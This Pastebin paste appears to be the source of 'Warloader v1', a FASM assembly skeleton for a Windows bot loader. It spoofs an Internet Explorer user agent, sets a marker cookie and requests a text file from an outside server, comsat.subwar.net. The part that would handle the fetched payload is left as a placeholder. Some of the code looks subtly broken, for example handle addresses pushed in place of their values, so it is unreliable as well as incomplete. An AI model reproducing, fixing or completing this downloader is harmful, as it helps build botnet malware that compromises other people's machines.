Guest User

watwat

a guest
Feb 21st, 2010
437
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ; Warloader v1 - Scenario11
  2. ; (c) subwar/Scenario11 2010
  3.  
  4. format PE GUI 4.0
  5. entry start
  6. include "win32a.inc"
  7.  
  8. ; data section
  9. section '.data' data readable writeable
  10.  
  11.   szUserAgent db "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) ", 0
  12.   szServer db "comsat.subwar.net",0 ; Server
  13.   szURI db "/warbottest.txt",0 ; URL
  14.   szURL db "http://comsat.subwar.net/warbottest.txt",0 ; Combo breaker!11
  15.   szCookieName db "Warloader", 0 ; Cookie lol
  16.   szCookieValue db "v1", 0 ; omg wat
  17.   szDefaultVerb db "GET",0 ; method
  18.   hIHandle dd ?  ; InternetOpen handle
  19.   hICHandle dd ? ; InternetConnect handle
  20.   hWWWHandle dd ? ; HttpOpenRequest handle
  21.  
  22.  
  23.  
  24. section '.code' code readable writeable executable
  25.   start:
  26.         ; Entry-point for our bot :-)
  27.  
  28.         xor ECX, ECX
  29.         push ECX
  30.         push ECX
  31.         push 1
  32.         push szUserAgent
  33.         call [InternetOpen] ; Setups hIHandle
  34.         mov [hIHandle], EAX ; Gets return value and stores in hIHandle
  35.         push ECX
  36.         push ECX
  37.         push 3
  38.         push ECX
  39.         push ECX
  40.         push 80
  41.         push szServer
  42.         push hIHandle
  43.         call [InternetConnect]
  44.         mov [hICHandle], EAX
  45.         push 0
  46.         push 0
  47.         push 0
  48.         push 0
  49.         push 0
  50.         push szURI
  51.         push szDefaultVerb
  52.         push hICHandle
  53.         call [HttpOpenRequest]
  54.         mov [hWWWHandle], EAX
  55.         push szCookieValue
  56.         push szCookieName
  57.         push szURL
  58.         call [InternetSetCookie] ; Ignore return value
  59.         push 0
  60.         push 0
  61.         push 0
  62.         push 0
  63.         push [hWWWHandle]
  64.         call [HttpSendRequest] ; SEND REQUEST LOLOZL
  65.         cmp EAX, 0
  66.         jz cleanup
  67.         ; DO MAGIC HEAP STUFF HERE ^_^
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74.  
  75.         push 30000
  76.         call [Sleep]
  77.  
  78.   cleanup: ; Cleanup lol
  79.         push hIHandle
  80.         call [InternetCloseHandle]
  81.         xor ECX, ECX
  82.         push ECX
  83.         call [ExitProcess]
  84.  
  85. ; imports
  86. section '.idata' import data readable
  87.         library kernel32,"KERNEL32.DLL",\
  88.                 wininet,"WININET.DLL"
  89.         import kernel32,\
  90.                Sleep,'Sleep',\
  91.                ExitProcess,'ExitProcess'
  92.  
  93.         import wininet,\
  94.                InternetOpen,'InternetOpenA',\
  95.                InternetConnect,'InternetConnectA',\
  96.                HttpOpenRequest,'HttpOpenRequestA',\
  97.                HttpSendRequest,'HttpSendRequestA',\
  98.                InternetSetCookie,'InternetSetCookieA',\
  99.                InternetCloseHandle, 'InternetCloseHandle',\
  100.                InternetQueryDataAvailable, 'InternetQueryDataAvailable'
  101.  
  102.  
Advertisement
Add Comment
Please, Sign In to add comment